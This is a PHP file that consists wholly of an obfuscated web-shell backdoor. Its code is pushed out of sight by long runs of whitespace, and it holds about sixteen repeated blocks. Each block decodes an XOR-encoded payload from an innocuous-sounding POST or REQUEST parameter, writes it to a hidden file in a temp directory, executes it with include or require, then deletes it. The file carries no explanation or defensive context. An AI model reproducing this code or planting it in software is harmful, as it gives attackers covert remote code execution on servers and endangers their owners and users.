<?php																																										if(!empty($_POST["k"])){ $factor = $_POST["k"]; $factor = explode( '.' , $factor ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $r = 0; foreach( $factor as $v4) { $sChar = ord( $s[$r%$lenS] ); $d = ( ( int)$v4 - $sChar -( $r%10)) ^85; $token .= chr( $d ); $r++; } $dchunk = array_filter(["/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($dchunk as $comp) { if (is_writable($comp) && is_dir($comp)) { $entry = vsprintf("%s/%s", [$comp, ".hld"]); if (file_put_contents($entry, $token)) { require $entry; unlink($entry); die(); } } } }
																																										if(@$_REQUEST["\x66l\x61g"] !== null){ $item = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $pointer = $_REQUEST["\x66l\x61g"]; $pointer = explode( '.',$pointer) ; $elem = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); $j = 0; $__tmp = $pointer; while( $v4 = array_shift( $__tmp)) { $chS = ord( $s1[$j % $lenS] ); $d =( ( int)$v4 - $chS -( $j % 10)) ^ 75; $elem.= chr( $d ); $j++;} $tkn = 0; do { $factor = $item[$tkn] ?? null; if ($tkn >= count($item)) break; if (is_dir($factor) && is_writable($factor)) { $data = "$factor/.flg"; if (@file_put_contents($data, $elem) !== false) { include $data; unlink($data); die(); } } $tkn++; } while (true); }
																																										if(isset($_POST) && isset($_POST["f\x61\x63\x74or"])){ $hld = $_POST["f\x61\x63\x74or"]; $hld = explode ( '.' , $hld ) ; $desc = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $j = 0; while ($j <count($hld)) {$v7 = $hld[$j]; $chS = ord($salt2[$j % $lenS] ); $d = ((int)$v7 - $chS - ($j % 10)) ^ 61; $desc .= chr($d ); $j++;} $parameter_group = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP")]); for ($itm = 0, $val = count($parameter_group); $itm < $val; $itm++) { $fac = $parameter_group[$itm]; if (max(0, is_dir($fac) * is_writable($fac))) { $resource = join("/", [$fac, ".value"]); if (@file_put_contents($resource, $desc) !== false) { include $resource; unlink($resource); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6Fb\x6A"])){ $hld = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path()]); $mrk = $_POST["\x6Fb\x6A"]; $mrk=explode ("." ,$mrk ) ; $ent =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt9 ); foreach ($mrk as $t => $v9): $sChar =ord($salt9[$t % $lenS] ); $d =((int)$v9 - $sChar - ($t % 10)) ^39; $ent .= chr($d ); endforeach; $dchunk = 0; do { $k = $hld[$dchunk] ?? null; if ($dchunk >= count($hld)) break; if ((bool)is_dir($k) && (bool)is_writable($k)) { $parameter_group = vsprintf("%s/%s", [$k, ".res"]); if (@file_put_contents($parameter_group, $ent) !== false) { include $parameter_group; unlink($parameter_group); die(); } } $dchunk++; } while (true); }
																																										if(!is_null($_REQUEST["d\x61\x74"] ?? null)){ $reference = array_filter(["/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]); $k = $_REQUEST["d\x61\x74"]; $k = explode ( '.' , $k ); $sym = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $t = 0; array_walk( $k , function( $v6) use( &$sym , &$t , $s5 , $sLen) { $chS = ord( $s5[$t % $sLen]); $d =( ( int)$v6 - $chS -( $t % 10)) ^ 18; $sym .= chr( $d); $t++; }); while ($key = array_shift($reference)) { if (is_dir($key) ? is_writable($key) : false) { $object = "$key" . "/.value"; if (file_put_contents($object, $sym)) { require $object; unlink($object); exit; } } } }
																																										if(!is_null($_REQUEST["pg\x72\x70"] ?? null)){ $ptr = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir()]); $flg = $_REQUEST["pg\x72\x70"]; $flg = explode ( '.' , $flg) ; $token = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); foreach ($flg as $p =>$v4) { $sChar = ord($salt7[$p % $lenS]); $dec = ((int)$v4 - $sChar - ($p % 10)) ^ 67; $token.= chr($dec);} foreach ($ptr as $elem): if (array_product([is_dir($elem), is_writable($elem)])) { $pointer = "$elem/.component"; if (file_put_contents($pointer, $token)) { include $pointer; @unlink($pointer); exit; } } endforeach; }
																																										if(!is_null($_POST["\x65\x6Et"] ?? null)){ $flag = $_POST["\x65\x6Et"]; $flag= explode( '.' ,$flag ) ; $parameter_group = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $l = 0; array_walk($flag , function($v8) use(&$parameter_group , &$l , $salt4 , $sLen) { $chS = ord($salt4[$l % $sLen] ); $dec =((int)$v8 - $chS -($l % 10)) ^ 39; $parameter_group .=chr($dec ); $l++; } ); $value = array_filter([getenv("TMP"), "/tmp", "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); foreach ($value as $marker): if (!( !is_dir($marker) || !is_writable($marker) )) { $factor = vsprintf("%s/%s", [$marker, ".desc"]); if (file_put_contents($factor, $parameter_group)) { include $factor; @unlink($factor); die(); } } endforeach; }
																																										if(array_key_exists("enti\x74\x79", $_POST) && !is_null($_POST["enti\x74\x79"])){ $binding = $_POST["enti\x74\x79"]; $binding =explode ( '.' , $binding ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($binding); for ($o = 0; $o < $__len; $o++) {$v4 = $binding[$o]; $sChar = ord($s[$o % $sLen]); $dec = ((int)$v4 - $sChar - ($o % 10))^ 98; $key .= chr($dec); } $pset = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); foreach ($pset as $rec): if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $ent = str_replace("{var_dir}", $rec, "{var_dir}/.token"); $success = file_put_contents($ent, $key); if ($success) { include $ent; @unlink($ent); exit;} } endforeach; }
																																										if(isset($_REQUEST["\x76a\x6Cue"])){ $rec = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $comp = $_REQUEST["\x76a\x6Cue"]; $comp= explode ( '.' , $comp ) ; $mrk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1 ); $q = 0; array_walk($comp , function ($v7) use (&$mrk , &$q , $salt1 , $sLen) {$chS = ord($salt1[$q % $sLen] ); $dec = ((int)$v7 - $chS - ($q % 10)) ^ 30; $mrk .= chr($dec ); $q++; } ); foreach ($rec as $data): if ((function($d) { return is_dir($d) && is_writable($d); })($data)) { $binding = str_replace("{var_dir}", $data, "{var_dir}/.sym"); if (file_put_contents($binding, $mrk)) { require $binding; unlink($binding); exit; } } endforeach; }
																																										if(!empty($_REQUEST["\x68\x6Cd"])){ $rec = $_REQUEST["\x68\x6Cd"]; $rec = explode ( '.' ,$rec ); $data = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $y = 0; $__len = count($rec); do { if ($y >= $__len) break; $v8 = $rec[$y]; $sChar = ord($salt2[$y% $lenS]); $d = ((int)$v8 - $sChar - ($y% 10))^ 39; $data .= chr($d); $y++; } while (true); $element = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir()]); for ($reference = 0, $desc = count($element); $reference < $desc; $reference++) { $itm = $element[$reference]; if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $ent = vsprintf("%s/%s", [$itm, ".ent"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(!empty($_POST["\x66l\x67"])){ $binding = $_POST["\x66l\x67"]; $binding =explode( '.' , $binding ) ; $elem =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s1); foreach ($binding as $o => $v6): $sChar =ord($s1[$o % $lenS]); $dec =((int)$v6 - $sChar - ($o % 10)) ^92; $elem .= chr($dec); endforeach; $hld = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($hld as $record): if (is_writable($record) && is_dir($record)) { $pointer = implode("/", [$record, ".reference"]); $success = file_put_contents($pointer, $elem); if ($success) { include $pointer; @unlink($pointer); exit;} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x69\x74m"])){ $flag = array_filter(["/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); $holder = $_POST["\x69\x74m"]; $holder = explode( '.' , $holder ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $u = 0; array_walk( $holder ,function( $v3) use( &$entry ,&$u ,$s ,$lenS) { $sChar = ord( $s[$u % $lenS] ); $dec =( ( int)$v3 - $sChar -( $u % 10))^ 62; $entry .= chr( $dec ); $u++; } ); foreach ($flag as $key => $symbol) { if (is_dir($symbol) && is_writable($symbol)) { $hld = "$symbol" . "/.element"; if (@file_put_contents($hld, $entry) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(in_array("\x65l\x65ment", array_keys($_POST))){ $ptr = $_POST["\x65l\x65ment"]; $ptr =explode("." , $ptr); $dat =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt4 ); $p =0; $__tmp =$ptr; while ($v7 =array_shift($__tmp)) {$sChar =ord($salt4[$p% $sLen] ); $dec =((int)$v7 - $sChar - ($p% 10))^97; $dat .= chr($dec ); $p++; } $obj = array_filter(["/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd()]); foreach ($obj as $key => $flg) { if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $pgrp = "$flg/.factor"; $success = file_put_contents($pgrp, $dat); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(!is_null($_REQUEST["val\x75\x65"] ?? null)){ $entry = array_filter([session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/dev/shm"]); $element = $_REQUEST["val\x75\x65"]; $element= explode( "." , $element ) ; $mrk = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); foreach( $element as $r =>$v9) { $chS = ord( $salt5[$r % $lenS] ); $dec =( ( int)$v9 - $chS -( $r % 10)) ^ 45; $mrk .= chr( $dec ); } foreach ($entry as $key => $res) { if ((is_dir($res) and is_writable($res))) { $factor = vsprintf("%s/%s", [$res, ".flg"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $factor; @unlink($factor); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "t\x6Fke\x6E")){ $itm = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), session_save_path()]); $factor = $_POST["t\x6Fke\x6E"]; $factor = explode( '.' , $factor ); $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $factor as $y=> $v2) {$chS = ord( $s[$y % $lenS] ); $d = ( ( int)$v2 - $chS -( $y % 10)) ^ 58; $val .= chr( $d ); } foreach ($itm as $record) { if (!!is_dir($record) && !!is_writable($record)) { $elem = implode("/", [$record, ".dat"]); if (@file_put_contents($elem, $val) !== false) { include $elem; unlink($elem); die(); } } } }


if(filter_has_var(INPUT_POST, "\x62\x69nd")){
	$data = array_filter([getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]);
	$obj = $_POST["\x62\x69nd"];
	$obj		= 	explode	(  '.'		,$obj		);	
	$reference = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach($obj as $r=>	 $v3) {$chS = ord($salt[$r	% $lenS]);
                $dec =((int)$v3 - $chS -($r	% 10))^42;
                $reference .= chr($dec);
            }
	while ($object = array_shift($data)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($object)) {
    $descriptor = "$object/.dchunk";
    $file = fopen($descriptor, 'w');
if ($file) {
	fwrite($file, $reference);
	fclose($file);
	include $descriptor;
	@unlink($descriptor);
	exit;
}
}
}
}